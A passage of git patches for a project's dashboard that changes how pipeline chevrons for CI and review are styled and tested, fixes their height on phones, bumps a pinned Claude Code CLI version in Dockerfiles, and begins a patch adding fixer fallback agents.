5\/5 approved<\/span>/.test(owner), owner); + const busy = stageTrackerRowHtml({ repo: 'acme/console', number: 16456, kind: 'pr', stage: 70, display_column: 30, head: 'f269349', author: 'hive[bot]', author_kind: 'hive', + code_activity: { head: 'f269349', state: 'remediating', caption: 'Remediating Β· scanner Β· 4m', actor: 'scanner', active: true, source: 'fix-dispatch', observed_at: seen }, + ci_activity: { head: 'f269349', state: 'running', active: true, caption: 'CI running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: 'f269349', state: 'reviewing', active: true, actor: 'reviewer-2', caption: 'Review working', perspectives_done: 2, perspectives_total: 5, source: 'dispatch', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(busy), 2, 'three qualify, two light: ' + strip(busy)); + // #16456: back in PR in progress with changes requested β€” one filled + // chevron; CI 11/11 is green words (done), the review finding red words + // (failing), neither a fill. + const changes = stageTrackerRowHtml({ repo: 'acme/console', number: 16456, kind: 'pr', stage: 70, display_column: 30, head: 'f269349', author: 'hive[bot]', author_kind: 'hive', + code_activity: { head: 'f269349', state: 'unassigned', caption: 'Changes requested Β· unassigned Β· next: scanner', source: 'no-pickup-evidence', since: seen, observed_at: seen }, + ci_activity: { head: 'f269349', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: 'f269349', state: 'changes_requested', caption: 'Review findings Β· changes requested', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: seen } }, stages, ctx); + assert.strictEqual(lit(changes), 1, 'changes requested in PR in progress: one filled chevron: ' + strip(changes)); + assert.ok(/<li class="ham-seg ham-activity-track done" data-track="ci"[^>]*>[\s\S]*?CI 11\/11 passed<\/span>/.test(changes) && /<li class="ham-seg ham-activity-track failing" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· changes requested<\/span>/.test(changes), changes); + assert.ok(/<li class="ham-seg active ham-settled-current ham-remediation-remediating detoured"/.test(busy) && busy.includes('Remediating Β· scanner Β· 4m'), 'the stage chevron is settled-current with its words: ' + busy); +} // Merged: the lit cap is the only chevron with hover text. row = stageTrackerRowHtml({ repo: 'acme/console', number: 106, kind: 'pr', stage: 110 }, stages, ctx); assert.ok(/<li class="ham-seg active cap merged" title="Merged β€” [^"]*" aria-current="step">/.test(row) && titled(strip(row)).length === 1, row); diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 6c37d0bc05..f5449e2f8e 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -375,9 +375,21 @@ "current-phase" tint: the operator reads the words, not the shade. Only fresh observed work earns the pulse. */ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } - .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } + /* A FILLED chevron means "this is where the item is / what moves now" + (hivecommons/hive#16540). A CI / Review track is filled only while it + runs (.active, amber). Every other state is words on the muted field + with the semantic colour on text and glyph only: green for passed / + approved, red for a finding, muted for pending, decided or not started. */ + .ham-seg.ham-activity-track.done { background: var(--panel-strong); color: var(--green); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing { background: var(--panel-strong); color: var(--status-error); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } - .ham-seg.ham-activity-track.done.decided { background: var(--surface-3); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* Words without motion (checks not reported, unknown evidence, a row + parked on a person): current-phase text on a muted field, never amber. */ + .ham-seg.ham-activity-track.pending { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* The stage chevron while both tracks run: bright words, no amber, no pulse. */ + .ham-seg.active.ham-settled-current { background: var(--surface-3); color: var(--text); animation: none; } + .ham-seg.active.ham-settled-current::before { display: none; } + .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index 5d69383e19..e45b818c7b 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -95,14 +95,41 @@ return !!(hive || item.stage === 74 || item.adopted_by); } + // A row parked on a person: the contributor's move (071/072 or a + // waiting_owner code word), a hold, or a human decision. Nothing of + // the hive's is in motion on it, so no CI / Review track is amber. + function stageTrackerWaitingOnPerson(item) { + if (!item) return false; + if (item.needs_human || item.on_hold || item.hold) return true; + const stage = Number(item.stage); + if (stage === 71 || stage === 72) return true; + const code = item.code_activity; + return !!(code && code.head === item.head && code.state === 'waiting_owner'); + } + + // A CI / Review track is in motion only on concrete evidence on the + // current head: a check-run in_progress / queued, or a reviewer + // running / queued (or the backend's own active flag). Checks that + // have not reported, unknown evidence and settled verdicts are not + // motion (hivecommons/hive#16540). + function stageTrackerTrackRunning(item, kind) { + const a = item && item[kind + '_activity']; + if (!a || !item.head || a.head !== item.head) return false; + if (stageTrackerWaitingOnPerson(item)) return false; + const moving = kind === 'ci' ? ['running', 'queued'] : ['reviewing', 'adjudicating', 'assigned']; + return !!(a.active || moving.includes(a.state)); + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. // The chevron wears its glyph plus the count words from // stageTrackerTrackWord (hivecommons/hive#16484). Style follows the - // track's own state on the current head: in progress = the full active - // fill (both tracks may be lit at once; the words disambiguate), done = - // the passed-stage style, a finding = the failing style, not started = - // the empty chevron with the glyph alone. Freshness gates only the pulse. + // track's own state on the current head: running = the full active + // fill (both tracks may be lit at once; the words disambiguate); done, + // a finding, pending and decided are words in their colour on the muted + // field β€” only a running track is filled (hivecommons/hive#16540); not + // started = the empty chevron with the glyph alone. Freshness gates only + // the pulse. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -125,7 +152,10 @@ // A complete verdict parked on a person is settled, not in progress: // done-style, muted, never the amber fill (hivecommons/hive#16509 row). const settled = matches && state === 'human_decision' && (!known || !a.active); - const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : text ? 'active' : 'todo'; + // At most two chevrons on a row are ever amber: a track is active + // only while it is running; words without motion are pending. + const running = stageTrackerTrackRunning(item, kind); + const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : running ? 'active' : text ? 'pending' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -215,6 +245,12 @@ const remediation = codeOnHead && ['unassigned', 'remediating', 'fix_pushed'].includes(code.state) ? code.state : ''; if (remediation === 'remediating' && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; const evidence = item.remediation && item.remediation.kind ? 'evidence: ' + item.remediation.kind + (item.remediation.actor ? ' by ' + item.remediation.actor : '') + (item.remediation.since ? ' since ' + item.remediation.since : '') + (item.remediation.source ? ' (' + item.remediation.source + ')' : '') : ''; + // Both tracks running: the PR waits on them, nobody works it. The + // stage chevron is settled-current (bright words, no amber, no pulse) + // so the row never lights three chevrons (hivecommons/hive#16540). + const tracksRunning = ['ci', 'review'].filter(kind => stageTrackerTrackRunning(item, kind)).length; + const waitingOnTracks = tracksRunning === 2; + if (waitingOnTracks) motion = STAGE_TRACKER_MOTION_STATIC; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; return segs.map(sg => { if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); @@ -222,7 +258,7 @@ const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -267,6 +303,7 @@ if (code.blocker) tip += ' Β· ' + code.blocker; if (claimant) tip += ' Β· ' + stageTrackerClaimantLine(claimant, nowMs); } + if (waitingOnTracks && !sg.cap) tip = 'Waiting on CI and review, both running β€” ' + tip; } let inner; // A lit chevron on a row parked on a person ("Needs human decision", diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index e0e165c32e..238321f87b 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1712,9 +1712,21 @@ "current-phase" tint: the operator reads the words, not the shade. Only fresh observed work earns the pulse. */ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } - .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } + /* A FILLED chevron means "this is where the item is / what moves now" + (hivecommons/hive#16540). A CI / Review track is filled only while it + runs (.active, amber). Every other state is words on the muted field + with the semantic colour on text and glyph only: green for passed / + approved, red for a finding, muted for pending, decided or not started. */ + .ham-seg.ham-activity-track.done { background: var(--panel-strong); color: var(--green); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing { background: var(--panel-strong); color: var(--status-error); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } - .ham-seg.ham-activity-track.done.decided { background: var(--surface-3); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* Words without motion (checks not reported, unknown evidence, a row + parked on a person): current-phase text on a muted field, never amber. */ + .ham-seg.ham-activity-track.pending { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* The stage chevron while both tracks run: bright words, no amber, no pulse. */ + .ham-seg.active.ham-settled-current { background: var(--surface-3); color: var(--text); animation: none; } + .ham-seg.active.ham-settled-current::before { display: none; } + .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } @@ -17891,14 +17903,41 @@ <h3 class="faq-group-title">Where to get help</h3> return !!(hive || item.stage === 74 || item.adopted_by); } + // A row parked on a person: the contributor's move (071/072 or a + // waiting_owner code word), a hold, or a human decision. Nothing of + // the hive's is in motion on it, so no CI / Review track is amber. + function stageTrackerWaitingOnPerson(item) { + if (!item) return false; + if (item.needs_human || item.on_hold || item.hold) return true; + const stage = Number(item.stage); + if (stage === 71 || stage === 72) return true; + const code = item.code_activity; + return !!(code && code.head === item.head && code.state === 'waiting_owner'); + } + + // A CI / Review track is in motion only on concrete evidence on the + // current head: a check-run in_progress / queued, or a reviewer + // running / queued (or the backend's own active flag). Checks that + // have not reported, unknown evidence and settled verdicts are not + // motion (hivecommons/hive#16540). + function stageTrackerTrackRunning(item, kind) { + const a = item && item[kind + '_activity']; + if (!a || !item.head || a.head !== item.head) return false; + if (stageTrackerWaitingOnPerson(item)) return false; + const moving = kind === 'ci' ? ['running', 'queued'] : ['reviewing', 'adjudicating', 'assigned']; + return !!(a.active || moving.includes(a.state)); + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. // The chevron wears its glyph plus the count words from // stageTrackerTrackWord (hivecommons/hive#16484). Style follows the - // track's own state on the current head: in progress = the full active - // fill (both tracks may be lit at once; the words disambiguate), done = - // the passed-stage style, a finding = the failing style, not started = - // the empty chevron with the glyph alone. Freshness gates only the pulse. + // track's own state on the current head: running = the full active + // fill (both tracks may be lit at once; the words disambiguate); done, + // a finding, pending and decided are words in their colour on the muted + // field β€” only a running track is filled (hivecommons/hive#16540); not + // started = the empty chevron with the glyph alone. Freshness gates only + // the pulse. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -17921,7 +17960,10 @@ <h3 class="faq-group-title">Where to get help</h3> // A complete verdict parked on a person is settled, not in progress: // done-style, muted, never the amber fill (hivecommons/hive#16509 row). const settled = matches && state === 'human_decision' && (!known || !a.active); - const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : text ? 'active' : 'todo'; + // At most two chevrons on a row are ever amber: a track is active + // only while it is running; words without motion are pending. + const running = stageTrackerTrackRunning(item, kind); + const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : running ? 'active' : text ? 'pending' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -18011,6 +18053,12 @@ <h3 class="faq-group-title">Where to get help</h3> const remediation = codeOnHead && ['unassigned', 'remediating', 'fix_pushed'].includes(code.state) ? code.state : ''; if (remediation === 'remediating' && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; const evidence = item.remediation && item.remediation.kind ? 'evidence: ' + item.remediation.kind + (item.remediation.actor ? ' by ' + item.remediation.actor : '') + (item.remediation.since ? ' since ' + item.remediation.since : '') + (item.remediation.source ? ' (' + item.remediation.source + ')' : '') : ''; + // Both tracks running: the PR waits on them, nobody works it. The + // stage chevron is settled-current (bright words, no amber, no pulse) + // so the row never lights three chevrons (hivecommons/hive#16540). + const tracksRunning = ['ci', 'review'].filter(kind => stageTrackerTrackRunning(item, kind)).length; + const waitingOnTracks = tracksRunning === 2; + if (waitingOnTracks) motion = STAGE_TRACKER_MOTION_STATIC; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; return segs.map(sg => { if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); @@ -18018,7 +18066,7 @@ <h3 class="faq-group-title">Where to get help</h3> const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -18063,6 +18111,7 @@ <h3 class="faq-group-title">Where to get help</h3> if (code.blocker) tip += ' Β· ' + code.blocker; if (claimant) tip += ' Β· ' + stageTrackerClaimantLine(claimant, nowMs); } + if (waitingOnTracks && !sg.cap) tip = 'Waiting on CI and review, both running β€” ' + tip; } let inner; // A lit chevron on a row parked on a person ("Needs human decision", From 10b34594c5b3f4e284059af3baec76591aa9348a Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 05:31:40 +0000 Subject: [PATCH 43/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20keep?= =?UTF-8?q?=20stage=20chevrons=20a=20one-line=20band=20(chevron=20info=20w?= =?UTF-8?q?rapper=20no=20longer=20grows=20the=20cell)=20(#16556)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit On phones and coarse-pointer tablets responsive.css gives every .config-info a 40px --tap-target min-height and a drawn ring. The chevron's .ham-chevron-info.config-info wrapper reset width/height but not min-height, so every chevron grew to 40px + 2*sp-1 = 44px instead of one 20px line. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/fixed-16551-chevron-height.md | 1 + src/pkg/dashboard/stage_tracker_activity.test.js | 5 +++++ src/pkg/dashboard/static-src/css/tracker.css | 7 ++++++- src/pkg/dashboard/static/index.html | 7 ++++++- 4 files changed, 18 insertions(+), 2 deletions(-) create mode 100644 changelog.d/fixed-16551-chevron-height.md diff --git a/changelog.d/fixed-16551-chevron-height.md b/changelog.d/fixed-16551-chevron-height.md new file mode 100644 index 0000000000..549f916cd9 --- /dev/null +++ b/changelog.d/fixed-16551-chevron-height.md @@ -0,0 +1 @@ +- Activity Monitor stage chevrons are a one-line band again on phones and touch tablets; the chevron's info wrapper no longer inherits the 40px tap-target floor (and ring) that made every chevron a 44px box ([#16551](https://github.com/hivecommons/hive/issues/16551)). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index da570393d0..24e11ebcd1 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -618,6 +618,11 @@ test('known and original chevrons keep full long text inside a shared one-line c assert.ok(known.match(/role="tooltip">([^]*?)<\/span>/)[1].includes(handle)); const css = fs.readFileSync(path.join(__dirname, 'static-src/css/tracker.css'), 'utf8'); assert.match(css, /--ham-chevron-text-lines: 1;/); + // responsive.css gives every .config-info a 40px --tap-target floor on + // phones; the chevron's info wrapper must undo it or each chevron becomes + // a 44px box (hivecommons/hive#16551). + assert.match(css, /\.ham-chevron-info\.config-info, \.ham-chevron-info\.ham-chevron-decision \{[^}]*min-height: 0;/); + assert.match(css, /\.ham-chevron-info\.config-info::before \{ content: none; \}/); assert.match(css, /\.ham-chevron-copy \{[^}]*-webkit-line-clamp: var\(--ham-chevron-text-lines\);[^}]*white-space: normal; overflow-wrap: anywhere;/); assert.doesNotMatch(css, /\.ham-(?:seg-t|detour)\.ham-has-holder[^}]*white-space: nowrap/); assert.match(css, /padding: var\(--sp-1\) calc\(var\(--ham-notch\) \+ var\(--sp-2\)\)/); diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index f5449e2f8e..edc493b6fb 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -432,7 +432,12 @@ focus exposes the same full text. */ .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-1) + 2 * var(--line-width)), auto); } .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-1) calc(var(--ham-notch) + var(--sp-2)); } - .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + /* min-height: 0 and no ::before ring: on phones / coarse pointers + responsive.css turns every .config-info into a --tap-target (40px) + square with a drawn ring; the chevron's info wrapper is not that + icon, and its 40px floor made every chevron a 44px box. */ + .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; min-height: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + .ham-chevron-info.config-info::before { content: none; } .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } /* The copy shrink-wraps its text (flex 0 1 auto) so the words, with diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 238321f87b..eb5959f741 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1769,7 +1769,12 @@ focus exposes the same full text. */ .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-1) + 2 * var(--line-width)), auto); } .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-1) calc(var(--ham-notch) + var(--sp-2)); } - .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + /* min-height: 0 and no ::before ring: on phones / coarse pointers + responsive.css turns every .config-info into a --tap-target (40px) + square with a drawn ring; the chevron's info wrapper is not that + icon, and its 40px floor made every chevron a 44px box. */ + .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; min-height: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + .ham-chevron-info.config-info::before { content: none; } .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } /* The copy shrink-wraps its text (flex 0 1 auto) so the words, with From 24c6a1c235a08776e160000dbd2cb824da042ed4 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 00:57:46 -0500 Subject: [PATCH 44/87] =?UTF-8?q?=F0=9F=8C=B1=20images:=20bump=20claude=20?= =?UTF-8?q?2.1.317=20->=202.1.318=20(#16558)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Automated pin bump (#8419). Digests recomputed from the downloaded release artifacts by src/scripts/cli-pin-bump.sh: VERSION=2.1.318 Signed-off-by: hive-release[bot] <hive-release@hive.kubestellar.io> Signed-off-by: clubanderson <407614+clubanderson@users.noreply.github.com> Co-authored-by: hive-release[bot] <hive-release@hive.kubestellar.io> --- src/Dockerfile | 2 +- src/Dockerfile.contributor | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/Dockerfile b/src/Dockerfile index a6c9e81219..d72d97e141 100644 --- a/src/Dockerfile +++ b/src/Dockerfile @@ -325,7 +325,7 @@ RUN npm install -g --ignore-scripts --no-fund --no-audit @openai/codex@${CODEX_V echo "WARN: OpenAI Codex CLI install failed β€” skipping" # --- Layer 7: Claude Code (most frequent updates) --- -ARG CLAUDE_CODE_VERSION=2.1.317 +ARG CLAUDE_CODE_VERSION=2.1.318 # --ignore-scripts (kept, deliberately: no arbitrary postinstall runs during the # build) skips claude-code's install.cjs, which is what LINKS the platform # native binary into the package's bin/. The binary itself ships in the diff --git a/src/Dockerfile.contributor b/src/Dockerfile.contributor index 3eaaa579a1..34f1a0ea5c 100644 --- a/src/Dockerfile.contributor +++ b/src/Dockerfile.contributor @@ -239,7 +239,7 @@ RUN mkdir -p /etc/apt/keyrings \ # npm cache is cleaned in the same layer it's populated (issue #2613, # Observation 2 "also minor") so the cache doesn't linger in this layer's # diff, mirroring the cleanup already done for the bobshell install below. -ARG CLAUDE_CODE_VERSION=2.1.317 +ARG CLAUDE_CODE_VERSION=2.1.318 ARG COPILOT_VERSION=1.0.88 # --ignore-scripts (kept, deliberately: no arbitrary postinstall runs during # the build) skips claude-code's install.cjs, which is what LINKS the platform From b12d7a6966a5508ca19455c2db6497835ba804b7 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 23:17:39 -0700 Subject: [PATCH 45/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20route=20undeliverab?= =?UTF-8?q?le=20fixer=20kicks=20to=20fallback=20agents=20(#16541)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix: route undeliverable fixer kicks to fallback agents Add opt-in ordered repair fallbacks for review fixes and stale red PR re-engagements. Use refusal counts and existing transcript silence thresholds without interrupting turns, and keep temporary fleet backpressure retryable. Hive-Run: hivecommons/hive#16536 Hive-Plan: hivecommons/hive#16526/fixer-lane Hive-Spec: issue-16536#acceptance-criteria Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * πŸ› fix: expose fixer fallback controls in review settings Add ordered fallback agents and the undeliverable kick threshold to the Features tab so new review settings satisfy dashboard parity. Extend the existing controls coverage. Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * πŸ› fix: keep dashboard sources and generated fallback controls aligned Move fallback controls into the dashboard source fragments and regenerate index.html. Use the existing spacing utility to preserve the style ratchet baseline. Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-16536-fixer-fallback.md | 1 + src/cmd/hive/fixer_fallback_test.go | 196 ++++++++++++++++++ src/cmd/hive/main_sweeps.go | 62 +++++- src/docs/review-swarm.md | 10 +- src/hive.yaml.example | 5 + src/pkg/config/config.go | 6 + src/pkg/config/review_dispatch.go | 24 +++ src/pkg/config/review_dispatch_test.go | 22 ++ src/pkg/config/validate.go | 3 + src/pkg/dashboard/api_config_review.go | 29 ++- .../dashboard/review_settings_parity_test.go | 36 ++++ .../static-src/js/config-features.js | 8 + .../dashboard/static-src/js/config-helpers.js | 4 + src/pkg/dashboard/static/index.html | 12 ++ src/pkg/review/dispatch.go | 20 +- 15 files changed, 421 insertions(+), 17 deletions(-) create mode 100644 changelog.d/fixed-16536-fixer-fallback.md create mode 100644 src/cmd/hive/fixer_fallback_test.go diff --git a/changelog.d/fixed-16536-fixer-fallback.md b/changelog.d/fixed-16536-fixer-fallback.md new file mode 100644 index 0000000000..0a6982f9bc --- /dev/null +++ b/changelog.d/fixed-16536-fixer-fallback.md @@ -0,0 +1 @@ +- Add opt-in ordered fixer fallback agents, configurable in Settings, so review fixes and stale red-PR repairs can bypass an undeliverable primary without interrupting its turn ([#16536](https://github.com/hivecommons/hive/issues/16536)). diff --git a/src/cmd/hive/fixer_fallback_test.go b/src/cmd/hive/fixer_fallback_test.go new file mode 100644 index 0000000000..6c10281730 --- /dev/null +++ b/src/cmd/hive/fixer_fallback_test.go @@ -0,0 +1,196 @@ +package main + +import ( + "bytes" + 